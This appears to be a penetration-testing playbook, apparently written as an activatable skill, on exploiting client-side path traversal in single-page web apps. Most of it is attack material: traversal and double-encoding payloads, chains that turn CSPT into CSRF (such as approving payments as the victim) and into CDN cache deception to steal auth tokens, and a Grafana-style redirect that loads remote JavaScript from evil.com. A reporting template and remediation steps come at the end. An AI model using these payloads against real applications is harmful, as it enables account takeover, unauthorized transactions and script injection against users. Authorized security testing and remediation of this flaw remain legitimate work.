Exploiting Client-Side Path Traversal (CSPT, also known as On-Site Request Forgery) where attacker-controlled input is concatenated into a same-origin URL that the victim's browser fetches with their credentials, enabling CSPT-to-CSRF, cache deception/poisoning, and open-redirect-to-XSS/SSRF chains. Activates when SPA routers, fetch/XHR wrappers, or CSS/link generators build request paths from route params, stored values, or UI fragments.
Exploiting Client-Side Path Traversal (CSPT, also known as On-Site Request Forgery) where attacker-controlled input is concatenated into a same-origin URL that the victim's browser fetches with their credentials, enabling CSPT-to-CSRF, cache deception/poisoning, and open-redirect-to-XSS/SSRF chains. Activates when SPA routers, fetch/XHR wrappers, or CSS/link generators build request paths from route params, stored values, or UI fragments.
During authorized tests of SPAs (React, Next.js, Vue, Angular) that build API paths from route/path params
When a frontend fetch()/XHR wrapper prepends /api/ or /proxy/ and auto-attaches auth headers/cookies
When stored values (profile slugs, document IDs) are interpolated into background-job, service-worker, or WebSocket URLs
When CMS/feature-flag content generates <link>, <style>, or @import URLs
When you want to escalate a "low-impact" reflected param into CSRF, cache deception, or XSS/SSRF
Critical: Variants Most Often Missed
CSPT lands the traversal on the same origin in the victim's authenticated browser context — not on the server filesystem. The miss is treating it as "just a redirect." Test the full sink matrix:
# 1. Re-target an authenticated request to a sibling API (router does /${param})
?doc=../../v1/admin/users
?doc=../../v1/admin/users.json # add .json/.css if CDN only caches static-looking assets
# 2. CSPT -> CSRF (verb change / re-enter destructive endpoint)
?action=../../payments/approve/.json&_method=POST
# escape the intended resource path then hit password-reset / approve / revoke endpoints
# 3. CSPT -> extension-based CDN cache deception (exfil authenticated JSON)
?file=../../v1/token.css # CDN caches .css as public → secret stored under public key
# 4. CSPT -> open redirect -> XSS/SSRF
?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x
# 5. Dot-segment encodings to defeat naive normalization
../ ..%2f %2e%2e/ %2e%2e%2f %2e./%2e/
..;/ # matrix-param/semicolon variant
../api/%252e%252e/ # DOUBLE url-encoding (frontend decodes before fetch)
Real-world gadget (Grafana CVE-2025-4123/6023): /public/plugins/../../../../..//evil.com/poc/module.js smuggled ../ into the plugin asset loader, chaining open redirect → remote JS (XSS) and, with the Image Renderer plugin, → SSRF.
How to CONFIRM a hit (avoid false negatives)
Re-targeting: instrument fetch/XHR and confirm the dispatched URL resolves to a DIFFERENT same-origin endpoint than intended, and still carries credentials: "include" / auth headers.
CSRF: the destructive endpoint actually executes (state change observed) when the victim loads your URL.
Cache deception: request the variant () and watch the response flip to and while still returning JSON; then read it back anonymously and get the secret.
...token.css
Cache-Control: public/max-age
X-Cache: Hit
Open redirect/XSS: the SPA navigates to attacker origin / executes attacker JS.
Watch specifically for init.credentials === "include" — that's what makes a same-origin traversal weaponizable. A request without credentials is usually not impactful.
Workflow
Step 1: Map Sources → Sinks
// Drop in DevTools to surface traversals while you use the UI
(() => {
const o = window.fetch;
window.fetch = asyncfunction (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET", init?.credentials);
debugger;
}
return o.apply(this, arguments);
};
})();
Wrap XMLHttpRequest.prototype.open, history.pushState, and framework routers (next/router) the same way. Edit IndexedDB/localStorage routing hints with traversal payloads and reload — mutated state often reinjects pre-hydration.
Step 2: Exploit — chain the traversal
# CSPT -> CSRF: craft a URL that injects traversal into the SPA param so the
# authenticated fetch hits a destructive endpoint
https://app.target/#/docs/../../payments/approve/123
# CSPT -> cache deception (account takeover):
1. Lure victim to https://app.target/#/profile/../../v1/token.css
2. Authenticated fetch hits /v1/token.css, CDN caches JSON under public key
3. Attacker fetches https://app.target/v1/token.css anonymously → reads the token
Step 3: Escalate / Impact
# Open redirect -> XSS via plugin/asset loader (Grafana-style)
https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js
# Same primitive flipped to SSRF if a renderer/image plugin follows the redirect server-side
Maintain a scratchpad of working dot-segment variants (..;/, %2e%2e/, %2e./%2e/, double-encoding) and suffix tricks (.css, .json, ; matrix params) for fast replay on new sinks.
Key Concepts
Concept
Description
CSPT / OSRF
Manipulating a same-origin URL the victim's browser fetches with their creds
Source
Route params, stored slugs/IDs, UI fragments concatenated into request paths
Sink
fetch/XHR wrappers, router.navigate, <link>/@import, service workers
CSPT→CSRF
Escape the path to re-enter destructive POST/PUT/DELETE endpoints
Cache deception
Static-looking suffix makes CDN cache an authenticated response publicly
Double-decode
%252e%252e decoded by the frontend before the request is dispatched
Tools & Systems
Tool
Purpose
CSPT Burp Extension (Doyensec)
Cluster params reflected into other requests' paths; reissue PoCs with canaries
Eval Villain (Firefox)
Monitor sources/sinks of attacker-controlled data
CSPT Playground (Doyensec)
Practice traversal→CSRF→XSS chains locally (docker compose up)
Browser DevTools
Wrap fetch/XHR/router to detect dispatched traversals
Burp / ZAP
Spot %252e%252e/ double-decode patterns in proxy history
Common Scenarios
Scenario 1: CSPT → Account Takeover via Cache Deception
An SPA builds /api/${slug} with auth headers. slug=../../v1/token.css makes the CDN cache the token JSON under a public .css key; the attacker reads it back unauthenticated and takes over the account.
Scenario 2: CSPT → CSRF
A download button appends a user fragment to /api/files/. Traversing to ../../payments/approve/123 re-targets the authenticated request to a state-changing endpoint, approving a payment as the victim.
Scenario 3: Plugin Loader → XSS/SSRF (Grafana)
Anonymous dashboards enabled; /public/plugins/../../../../..//evil.com/poc/module.js loads attacker JS in the victim's session, and the same traversal redirects the image renderer toward internal hosts (SSRF).
Output Format
## Client-Side Path Traversal (CSPT/OSRF) Finding
**Vulnerability**: Client-Side Path Traversal → CSRF / Cache Deception / XSS
**Severity**: High to Critical (CVSS 7.1–9.3 depending on chain)
**Location**: SPA route param feeding fetch() — e.g. /#/profile/<INPUT>
**OWASP Category**: A01:2021 - Broken Access Control (chained with A03/A10)
### Reproduction Steps
1. Identify fetch building /api/${param} with credentials: "include".
2. Lure victim to /#/profile/../../v1/token.css → authenticated fetch hits cacheable path.
3. CDN stores JSON token under public .css key (X-Cache: Hit, Cache-Control: public).
4. Attacker requests /v1/token.css anonymously → recovers token → account takeover.
### Evidence
| Payload | Dispatched URL | Effect |
|---------|----------------|--------|
| ../../v1/admin/users | /api/v1/admin/users (creds) | Re-target authed request |
| ../../v1/token.css | cached publicly | Secret exfiltration |
| ../../payments/approve/.json | POST executed | CSRF state change |
### Impact
Account takeover, unauthorized state changes (CSRF), exposure of authenticated responses via public cache, and XSS/SSRF when chained with open redirect / asset loaders.
### Recommendation
1. Build request URLs from allow-listed identifiers; reject `../`, `..;/`, and encoded dot-segments after decoding.
2. Resolve/normalize the path client-side and verify it stays within the intended API namespace.
3. Make the CDN vary on auth headers / never cache authenticated JSON; avoid static-looking suffixes on dynamic endpoints.
4. Apply anti-CSRF tokens and SameSite cookies on state-changing endpoints; fix open redirects.